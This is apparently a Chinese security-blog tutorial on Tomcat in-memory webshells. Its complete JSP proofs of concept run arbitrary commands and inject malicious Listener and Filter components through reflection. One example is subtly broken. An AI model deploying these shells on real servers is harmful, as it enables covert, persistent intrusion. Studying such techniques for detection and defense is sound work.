知识文库同步更新
本篇文章内容已同步至CKCsec安全研究院知识文库,点击文末 阅读原文 可一键跳转,文库阅读技术文章将更加方便优雅~
文库地址:https://wiki.ckcsec.cn
Github:https://github.com/ckcsec/wiki-vitepress/
快来点击Star,给文库一个小星星吧✨
1、JSP技术
1.1、什么是JSP
JSP
(Java Server Pages
),是Java
的一种动态网页技术。在早期Java
的开发技术中,Java
程序员如果想要向浏览器输出一些数据,就必须得手动println
一行行的HTML
代码。为了解决这一繁琐的问题,Java
开发了JSP
技术。JSP
可以看作一个Java Servlet
,主要用于实现Java web
应用程序的用户界面部分。网页开发者们通过结合HTML
代码、XHTML
代码、XML
元素以及嵌入JSP
操作和命令来编写JSP
。当第一次访问JSP
页面时,Tomcat
服务器会将JSP
页面翻译成一个java文件
,并将其编译为.class
文件。JSP
通过网页表单获取用户输入数据、访问数据库及其他数据源,然后动态地创建网页。
1.2、JSP的语法
脚本程序可以包含任意量的Java
语句、变量、方法或表达式,只要它们在脚本语言中是有效的。脚本程序的格式如下
<% 代码片段 %>
其等价于下面的XML语句
<jsp:scriptlet>
代码片段
</jsp:scriptlet>
使用实例
<html>
<body>
<meta charset="UTF-8">
<h2>Hello World!</h2>
<% out.print("我是JSP"); %>
</body>
</html>
1.2.1、JSP声明
一个声明语句可以声明一个或多个变量、方法,供后面的Java代码使用。JSP声明语句格式如下
<%! 声明 %>
同样等价于下面的XML语句
<jsp:declaration>
代码片段
</jsp:declaration>
使用实例
<html>
<body>
<meta charset="UTF-8">
<h2>Hello World!</h2>
<%! String name = "YunShan"; %>
<% out.print(name); %>
</body>
</html>
1.2.2、JSP表达式
如果JSP
表达式中为一个对象,则会自动调用其toString()
方法。格式如下,注意表达式后没有;
<%= 表达式 %>
等价于下面的XML表达式
<jsp:expression>
表达式
</jsp:expression>
使用实例
<html>
<body>
<meta charset="UTF-8">
<h2>Hello World!</h2>
<%! String name = "YunShan"; %>
<%= name %>
</body>
</html>
1.2.3、JSP指令
JSP指令用来设置与整个JSP页面相关的属性。下面有三种JSP指令比如我们能通过page指令来设置jsp页面的编码格式
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
1.2.4、JSP注释
<%-- 注释内容 --%>
1.2.5、JSP内置对象
JSP
有九大内置对象,他们能够在客户端和服务器端交互的过程中分别完成不同的功能。其特点如下
由 JSP
规范提供,不用编写者实例化通过 Web
容器实现和管理所有 JSP
页面均可使用只有在脚本元素的表达式或代码段中才能使用
2、JAVA木马
传统的JSP
木马实现
<% Runtime.getRuntime().exec(request.getParameter("cmd"));%>
上面是最简单的一句话木马,没有回显,适合用来反弹shell
。下面是一个带回显的JSP
木马
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% if(request.getParameter("cmd")!=null){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
String line;
PrintWriter printWriter = response.getWriter();
printWriter.write("<pre>");
while ((line = bufferedReader.readLine()) != null){
printWriter.println(line);
}
printWriter.write("</pre>");
}
%>
传统的JSP木马特征性强,且需要文件落地,容易被查杀。因此现在出现了内存马技术。Java
内存马又称”无文件马”,相较于传统的JSP
木马,其最大的特点就是无文件落地,存在于内存之中,隐蔽性强。Java
内存马按照实现原理大致可以分为如下两种
利用 Java Web
组件:动态添加恶意组件,如Servlet
、Filter
、Listener
等。在Spring
框架下就是Controller
、Intercepter
。修改字节码:利用 Java
的Instrument
机制,动态注入Agent
,在Java
内存中动态修改字节码,在HTTP请求执行路径中的类中添加恶意代码,可以实现根据请求的参数执行任意代码。
3、Tomcat中的三种Context
我们下面在学习内存马的时候,常常会碰见ServletContext
、ApplicationContext
、StandardContext
这三种Context
。下面我就来捋一捋各Context
之间的关系。不过在开始之前,你最好先简单了解一下Tomcat
的架构Tomcat架构解析
3.1、Context
在Tomcat
中,Context
是Container
组件的一种子容器,其对应的是一个Web
应用。Context
中可以包含多个Wrapper
容器,而Wrapper
对应的是一个具体的Servlet
定义。因此Context
可以用来保存一个Web
应用中多个Servlet
的上下文信息。
3.2、ServletContext
Servlet
规范中规定了一个ServletContext
接口,其用来保存一个Web
应用中所有Servlet
的上下文信息,可以通过ServletContext
来对某个Web
应用的资源进行访问和操作。其在Java
中的具体实现是javax.servlet.ServletContext
接口
3.3、ApplicationContext
在Tomcat
中,ServletContext
接口的具体实现就是ApplicationContext
类,其实现了ServletContext
接口中定义的一些方法。
Tomcat
这里使用了门面模式,对ApplicationContext
类进行了封装,我们调用getServletContext()
方法获得的其实是ApplicationContextFacade
类
public ApplicationContextFacade(ApplicationContext context) {
super();
this.context = context;
classCache = new HashMap<>();
objectCache = new ConcurrentHashMap<>();
initClassCache();
}
ApplicationContextFacade
类方法中都会调用this.context
相应的方法,因此最终调用的还是ApplicationContext
类的方法。
3.4、StandardContext
org.apache.catalina.core.StandardContext
是子容器Context
的标准实现类,其中包含了对Context
子容器中资源的各种操作。四种子容器都有其对应的标准实现如下而在ApplicationContext
类中,对资源的各种操作实际上是调用了StandardContext
中的方法
...
@Override
public String getRequestCharacterEncoding() {
return context.getRequestCharacterEncoding();
}
...
3.5、总结
我们可以用一张图来表示各Context
的关系
ServletContext
接口的实现类为ApplicationContext
类和ApplicationContextFacade
类,其中ApplicationContextFacade
是对ApplicationContext
类的包装。我们对Context
容器中各种资源进行操作时,最终调用的还是StandardContext
中的方法,因此StandardContext
是Tomcat
中负责与底层交互的Context
。
4、Tomcat内存马
Tomcat内存马大致可以分为三类,分别是Listener
型、Filter
型、Servlet
型。可能有些朋友会发现,这不正是Java Web
核心的三大组件嘛!没错,Tomcat
内存马的核心原理就是动态地将恶意组件添加到正在运行的Tomcat
服务器中。
而这一技术的实现有赖于官方对Servlet3.0
的升级,Servlet
在3.0
版本之后能够支持动态注册组件。而Tomcat
直到7.x
才支持Servlet3.0
,因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x
及以上。为了便于调试Tomcat
,我们先在父项目的pom
文件中引入Tomcat
依赖
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.31</version>
</dependency>
4.1、Listener型
根据以上思路,我们的目标就是在服务器中动态注册一个恶意的Listener。而Listener根据事件源的不同,大致可以分为如下三种
ServletContextListener
HttpSessionListener
ServletRequestListener
很明显,ServletRequestListener
是最适合用来作为内存马的。因为ServletRequestListener
是用来监听ServletRequest
对象的,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()
方法。下面我们来实现一个恶意的Listener
package com.ma.ListenMa;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
@WebListener
public class ListenerMa1 implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
System.out.println(cmd);
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
}
4.1.1、Listener的创建过程
开启Debug我们看调用栈StandardContext#fireRequestInitEvent
调用了我们的Listener
,我们跟进看其实现
public boolean fireRequestInitEvent(ServletRequest request) {
Object[] instances = this.getApplicationEventListeners();
if (instances != null && instances.length > 0) {
ServletRequestEvent event = new ServletRequestEvent(this.getServletContext(), request);
for(int i = 0; i < instances.length; ++i) {
if (instances[i] != null && instances[i] instanceof ServletRequestListener) {
ServletRequestListener listener = (ServletRequestListener)instances[i];
try {
listener.requestInitialized(event);
} catch (Throwable var7) {
ExceptionUtils.handleThrowable(var7);
this.getLogger().error(sm.getString("standardContext.requestListener.requestInit", new Object[]{instances[i].getClass().getName()}), var7);
request.setAttribute("javax.servlet.error.exception", var7);
return false;
}
}
}
}
return true;
}
关键代码有两处,首先通过getApplicationEventListeners()
获取一个Listener
数组,然后遍历数组调用listener.requestInitialized(event)
方法触发Listener
。跟进getApplicationEventListeners()
方法可以看到Listener
实际上是存储在applicationEventListenersList
属性中的
并且我们可以通过StandardContext#addApplicationEventListener()
方法来添加Listener
4.1.2、获取StandardContext类
下面的工作就是获取StandardContext
类了,在StandardHostValve#invoke
中,可以看到其通过request
对象来获取StandardContext
类同样地,由于JSP
内置了request
对象,我们也可以使用同样的方式来获取
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>
另外一种获取方式 ——通过线程
<%
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
%>
接着我们编写一个恶意的Listener
<%!
public class MaListener implements ServletContextListener {
@Override
public void contextInitialized(ServletContextEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
@Override
public void contextDestroyed(ServletContextEvent sce) {
}
}
%>
最后添加监听器
<%
MaListener maListener = new MaListener();
standardContext.addApplicationEventListener(maListener);
%>
4.1.3、完整POC
至此我们可以总结出Listener
型内存马的实现步骤
获取 StandardContext
上下文实现一个恶意 Listener
通过 StandardContext#addApplicationEventListener
方法添加恶意Listener
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%!
public class Shell_Listener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
Shell_Listener shell_Listener = new Shell_Listener();
context.addApplicationEventListener(shell_Listener);
%>
4.2、Filter型
仿照Listener
型内存马的实现思路,我们同样能实现Filter
型内存马。我们知道,在Servlet
容器中,Filter
的调用是通过FilterChain
实现的先来实现一个恶意的Filter
package com.ma.FilterMa;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
@WebFilter("/*")
public class FilterMa1 implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
System.out.println("FilterMa1触发: " + cmd);
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);
}
@Override
public void destroy() {
}
}
4.2.1、Filter调用分析
我们在doFilter
处打上断点,调用栈如下
doFilter:11, Shell_Filter (Filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:540, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:687, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:357, CoyoteAdapter (org.apache.catalina.connector)
service:382, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:895, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1722, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
跟进ApplicationFilterChain#internalDoFilter
private void internalDoFilter(ServletRequest request,
ServletResponse response)
throws IOException, ServletException {
// Call the next filter if there is one
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
try {
Filter filter = filterConfig.getFilter();
if (request.isAsyncSupported() && "false".equalsIgnoreCase(
filterConfig.getFilterDef().getAsyncSupported())) {
request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
}
if( Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
Principal principal =
((HttpServletRequest) req).getUserPrincipal();
Object[] args = new Object[]{req, res, this};
SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal);
} else {
filter.doFilter(request, response, this);
}
}
...
}
调用了filter.doFilter()
,而filter
是通过filterConfig.getFilter()
得到的,filterConfig
定义如下
private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];
...
ApplicationFilterConfig filterConfig = filters[pos++]
我们知道,一个filterConfig
对应一个Filter
,用于存储Filter
的上下文信息。这里的filters
属性是一个ApplicationFilterConfig
数组。我们来寻找一下ApplicationFilterChain.filters
属性在哪里被赋值。
在StandardWrapperValve#invoke()
方法中,通过ApplicationFilterFactory.createFilterChain()
方法初始化了一个ApplicationFilterChain
类
request.setAttribute("org.apache.catalina.core.DISPATCHER_TYPE", dispatcherType);
request.setAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH", requestPathMB);
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
跟进createFilterChain
public static ApplicationFilterChain createFilterChain(ServletRequest request,
Wrapper wrapper, Servlet servlet) {
...
// Request dispatcher in use
filterChain = new ApplicationFilterChain();
filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
// Acquire the filter mappings for this Context
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();
...
String servletName = wrapper.getName();
// Add the relevant path-mapped filters to this filter chain
for (FilterMap filterMap : filterMaps) {
...
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
...
filterChain.addFilter(filterConfig);
}
...
// Return the completed filter chain
return filterChain;
}
这里我省略了函数中一些不重要的判断,从createFilterChain
函数中,我们能够清晰地看到filterChain
对象的创建过程
首先通过 filterChain = new ApplicationFilterChain()
创建一个空的filterChain
对象然后通过 wrapper.getParent()
函数来获取StandardContext
对象接着获取 StandardContext
中的FilterMaps
对象,FilterMaps
对象中存储的是各Filter
的名称路径等信息最后根据 Filter
的名称,在StandardContext
中获取FilterConfig
通过 filterChain.addFilter(filterConfig)
将一个filterConfig
添加到filterChain
中
可以看到在ApplicationFilterChain#addFilter
方法,filterConfig
被添加到filters
中
void addFilter(ApplicationFilterConfig filterConfig) {
// Prevent the same filter being added multiple times
for(ApplicationFilterConfig filter:filters) {
if(filter==filterConfig) {
return;
}
}
if (n == filters.length) {
ApplicationFilterConfig[] newFilters =
new ApplicationFilterConfig[n + INCREMENT];
System.arraycopy(filters, 0, newFilters, 0, n);
filters = newFilters;
}
filters[n++] = filterConfig;
}
所以关键就是将恶意Filter
的信息添加进FilterConfig
数组中,这样Tomcat
在启动时就会自动初始化我们的恶意Filter
。
4.2.2、FilterConfig、FilterDef和FilterMaps
跟进到createFilterChain
函数中,我们能看到此时的上下文对象StandardContext
实际上是包含了这三者的
4.2.2.1、FilterConfig
其中filterConfigs
包含了当前的上下文信息StandardContext
、以及filterDef
等信息
调试太难定位了 用别人的其中filterDef
存放了filter
的定义,包括filterClass
、filterName
等信息。对应的其实就是web.xml
中的<filter
>标签。
<filter>
<filter-name></filter-name>
<filter-class></filter-class>
</filter>
可以看到,filterDef
必要的属性为filter
、filterClass
以及filterName
。
4.2.2.2、FilterDefs
filterDefs
是一个HashMap
,以键值对的形式存储filterDef
4.2.2.3、FilterMaps
filterMaps
中以array
的形式存放各filter
的路径映射信息,其对应的是web.xml
中的<filter-mapping>
标签
<filter-mapping>
<filter-name></filter-name>
<url-pattern></url-pattern>
</filter-mapping>
filterMaps
必要的属性为dispatcherMapping
、filterName
、urlPatterns
于是下面的工作就是构造含有恶意filter
的FilterMaps
和FilterConfig
对象,并将FilterConfig
添加到filter
链中了。
4.2.3、动态注册Filter
经过上面的分析,我们可以总结出动态添加恶意Filter
的思路
获取 StandardContext
对象创建恶意 Filter
使用 FilterDef
对Filter
进行封装,并添加必要的属性创建 filterMap
类,并将路径和Filtername
绑定,然后将其添加到filterMaps
中使用 ApplicationFilterConfig
封装filterDef
,然后将其添加到filterConfigs
中
4.2.3.1、获取StandardContext对象
StandardContext
对象主要用来管理Web
应用的一些全局资源,如Session
、Cookie
、Servlet
等。因此我们有很多方法来获取StandardContext
对象。Tomcat
在启动时会为每个Context
都创建个ServletContext
对象,来表示一个Context
,从而可以将ServletContext
转化为StandardContext
。
//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();
//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
4.2.3.2、创建恶意Filter
public class Shell_Filter implements Filter {
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd=request.getParameter("cmd");
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
4.2.3.3、使用FilterDef
封装
//filter名称
String name = "CommonFilter";
// 创建了一个新的 FilterDef 对象,用于定义过滤器的配置信息,包括过滤器的名称、类和实例等。
FilterDef filterDef = new FilterDef();
// 使用 setFilter() 方法设置过滤器的实例,参数 filter 应该是一个过滤器的实例。
filterDef.setFilter(filter);
// 使用 setFilterName() 方法设置过滤器的名称,参数 name 是之前定义的过滤器名称。
filterDef.setFilterName(name);
// 使用 setFilterClass() 方法设置过滤器的类名,这里通过 filter.getClass().getName() 获取过滤器实例的类名,通常是过滤器类的全限定名。
filterDef.setFilterClass(filter.getClass().getName());
// 最后,通过 addFilterDef() 方法将这个过滤器定义对象添加到指定的 StandardContext 对象中。这个方法用于在容器中注册一个过滤器定义,以便后续可以在部署描述符中配置过滤器映射。
standardContext.addFilterDef(filterDef);
4.2.3.4、创建FilterMap
filterMap
用于filter
和路径的绑定
// 创建了一个新的 FilterMap 对象,用于表示过滤器的映射信息。
// FilterMap 是用来配置过滤器与 URL 匹配模式、调度器类型等信息的类。
FilterMap filterMap = new FilterMap();
// 使用 addURLPattern() 方法向 FilterMap 中添加 URL 匹配模式,这里使用通配符 "/*" 表示匹配所有的 URL。
filterMap.addURLPattern("/*");
// 使用 setFilterName() 方法设置过滤器的名称,参数 name 应该是一个字符串,表示过滤器的名称。
filterMap.setFilterName(name);
// 使用 setDispatcher() 方法设置调度器类型,参数应该是一个字符串,表示调度器的类型。
// 在这里使用了 DispatcherType.REQUEST.name(),表示过滤器将会对请求(REQUEST)进行处理。
filterMap.setDispatcher(DispatcherType.REQUEST.name());
// 最后,通过 addFilterMapBefore() 方法将这个过滤器映射添加到指定的 StandardContext 对象中。
// 这个方法将过滤器映射添加到现有过滤器映射的前面,即在当前过滤器链的最前面添加这个过滤器映射。
standardContext.addFilterMapBefore(filterMap);
4.2.3.4、封装filterConfig
及filterDef
到filterConfigs
// 通过反射获取了 StandardContext 类中名为 "filterConfigs" 的字段,并将其存储在 Configs 变量中。
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
// 将 Configs 这个字段对象设为可访问,即使这个字段在正常情况下是私有的,也可以通过反射进行访问。
Configs.setAccessible(true);
// 反射获取了 standardContext 对象中 filterConfigs 字段的值,并将其转换为 Map 类型,存储在 filterConfigs 变量中。
// 这个 filterConfigs 变量应该是一个保存过滤器配置的 Map。
Map filterConfigs = (Map) Configs.get(standardContext);
// 通过反射获取了 ApplicationFilterConfig 类中接受 Context 和 FilterDef 参数的构造函数。
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
// 将 constructor 这个构造函数对象设为可访问,即使这个构造函数在正常情况下是私有的,也可以通过反射进行访问。
constructor.setAccessible(true);
// 反射调用了 constructor 构造函数对象的 newInstance 方法,创建了一个 ApplicationFilterConfig 类型的对象,并将 standardContext 和 filterDef 作为参数传入。
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
// 将新创建的 filterConfig 对象以及对应的名称 name 添加到 filterConfigs Map 中,即向 standardContext 中的过滤器配置中添加了一个新的过滤器配置。
filterConfigs.put(name, filterConfig);
4.2.4、完整POC
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Map" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>
<%! public class Shell_Filter implements Filter {
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);
}
}
%>
<%
Shell_Filter filter = new Shell_Filter();
String name = "CommonFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);
%>
4.3、Servlet型
实现恶意的Servlet
马
package com.ma.ServletMa;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;
@WebServlet("/shell")
public class ServletMa1 implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
下面就是实现动态注册Servlet
了。
4.3.1、Servlet创建流程
我们知道Servlet
的生命周期分为如下五部分
加载:当 Tomcat
第一次访问Servlet
的时候,Tomcat
会负责创建Servlet
的实例初始化:当 Servlet
被实例化后,Tomcat
会调用init()
方法初始化这个对象处理服务:当浏览器访问 Servlet
的时候,Servlet
会调用service()
方法处理请求销毁:当 Tomcat
关闭时或者检测到Servlet
要从Tomcat
删除的时候会自动调用destroy()
方法,让该实例释放掉所占的资源。一个Servlet
如果长时间不被使用的话,也会被Tomcat
自动销毁卸载:当 Servlet
调用完destroy()
方法后,等待垃圾回收。如果有需要再次使用这个Servlet
,会重新调用init()
方法进行初始化操作
前面我们已经分析过,在org.apache.catalina.core.StandardContext
类的startInternal()
方法中,我们能看到Listener->Filter->Servlet
的加载顺序
...
if (ok) {
if (!listenerStart()) {
log.error(sm.getString("standardContext.listenerFail"));
ok = false;
}
}
try {
// Start manager
Manager manager = getManager();
if (manager instanceof Lifecycle) {
((Lifecycle) manager).start();
}
} catch(Exception e) {
log.error(sm.getString("standardContext.managerFail"), e);
ok = false;
}
// Configure and call application filters
if (ok) {
if (!filterStart()) {
log.error(sm.getString("standardContext.filterFail"));
ok = false;
}
}
// Load and initialize all "load on startup" servlets
if (ok) {
if (!loadOnStartup(findChildren())){
log.error(sm.getString("standardContext.servletFail"));
ok = false;
}
}
// Start ContainerBackgroundProcessor thread
super.threadStart();
}if (ok) {
if (!listenerStart()) {
log.error(sm.getString("standardContext.listenerFail"));
ok = false;
}
}
try {
// Start manager
Manager manager = getManager();
if (manager instanceof Lifecycle) {
((Lifecycle) manager).start();
}
} catch(Exception e) {
log.error(sm.getString("standardContext.managerFail"), e);
ok = false;
}
// Configure and call application filters
if (ok) {
if (!filterStart()) {
log.error(sm.getString("standardContext.filterFail"));
ok = false;
}
}
// Load and initialize all "load on startup" servlets
if (ok) {
if (!loadOnStartup(findChildren())){
log.error(sm.getString("standardContext.servletFail"));
ok = false;
}
}
// Start ContainerBackgroundProcessor thread
super.threadStart();
}
...
4.3.2、创建StandardWrapper
在StandardContext#startInternal
中,调用了fireLifecycleEvent()
方法解析web.xml
文件,我们跟进
protected void fireLifecycleEvent(String type, Object data) {
LifecycleEvent event = new LifecycleEvent(this, type, data);
Iterator i$ = this.lifecycleListeners.iterator();
while(i$.hasNext()) {
LifecycleListener listener = (LifecycleListener)i$.next();
listener.lifecycleEvent(event);
}
}
最终通过ContextConfig#webConfig()
方法解析web.xml
获取各种配置参数然后通过configureContext(webXml)
方法创建StandWrapper
对象,并根据解析参数初始化StandWrapper
对象
private void configureContext(WebXml webxml) {
// As far as possible, process in alphabetical order so it is easy to
// check everything is present
// Some validation depends on correct public ID
context.setPublicId(webxml.getPublicId());
... //设置StandardContext参数
for (ServletDef servlet : webxml.getServlets().values()) {
//创建StandardWrapper对象
Wrapper wrapper = context.createWrapper();
if (servlet.getLoadOnStartup() != null) {
//设置LoadOnStartup属性
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
}
if (servlet.getEnabled() != null) {
wrapper.setEnabled(servlet.getEnabled().booleanValue());
}
//设置ServletName属性
wrapper.setName(servlet.getServletName());
Map<String,String> params = servlet.getParameterMap();
for (Entry<String, String> entry : params.entrySet()) {
wrapper.addInitParameter(entry.getKey(), entry.getValue());
}
wrapper.setRunAs(servlet.getRunAs());
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
for (SecurityRoleRef roleRef : roleRefs) {
wrapper.addSecurityReference(
roleRef.getName(), roleRef.getLink());
}
//设置ServletClass属性
wrapper.setServletClass(servlet.getServletClass());
...
wrapper.setOverridable(servlet.isOverridable());
//将包装好的StandWrapper添加进ContainerBase的children属性中
context.addChild(wrapper);
for (Entry<String, String> entry :
webxml.getServletMappings().entrySet()) {
//添加路径映射
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}
}
...
}
最后通过addServletMappingDecoded()
方法添加Servlet
对应的url
映射
4.3.3、加载StandWrapper
接着在StandardContext#startInternal
方法通过findChildren()
获取StandardWrapper
类最后依次加载完Listener
、Filter
后,就通过loadOnStartUp()
方法加载wrapper
public boolean loadOnStartup(Container children[]) {
// Collect "load on startup" servlets that need to be initialized
TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap<>();
for (Container child : children) {
Wrapper wrapper = (Wrapper) child;
int loadOnStartup = wrapper.getLoadOnStartup();
//判断属性loadOnStartup的值
if (loadOnStartup < 0) {
continue;
}
Integer key = Integer.valueOf(loadOnStartup);
ArrayList<Wrapper> list = map.get(key);
if (list == null) {
list = new ArrayList<>();
map.put(key, list);
}
list.add(wrapper);
}
// Load the collected "load on startup" servlets
for (ArrayList<Wrapper> list : map.values()) {
for (Wrapper wrapper : list) {
try {
wrapper.load();
}
注意这里对于Wrapper
对象中loadOnStartup
属性的值进行判断,只有大于0
的才会被放入list
进行后续的wrapper.load()
加载调用。这里对应的实际上就是Tomcat Servlet
的懒加载机制,可以通过loadOnStartup
属性值来设置每个Servlet
的启动顺序。默认值为-1
,此时只有当Servlet
被调用时才加载到内存中。至此Servlet
才被加载到内存中。
4.3.4、动态注册Servlet
通过上文的分析我们能够总结出创建Servlet
的流程
获取 StandardContext
对象编写恶意 Servlet
通过 StandardContext.createWrapper()
创建StandardWrapper
对象设置 StandardWrapper
对象的loadOnStartup
属性值设置 StandardWrapper
对象的ServletName
属性值设置 StandardWrapper
对象的ServletClass
属性值将 StandardWrapper
对象添加进StandardContext
对象的children
属性中通过 StandardContext.addServletMappingDecoded()
添加对应的路径映射
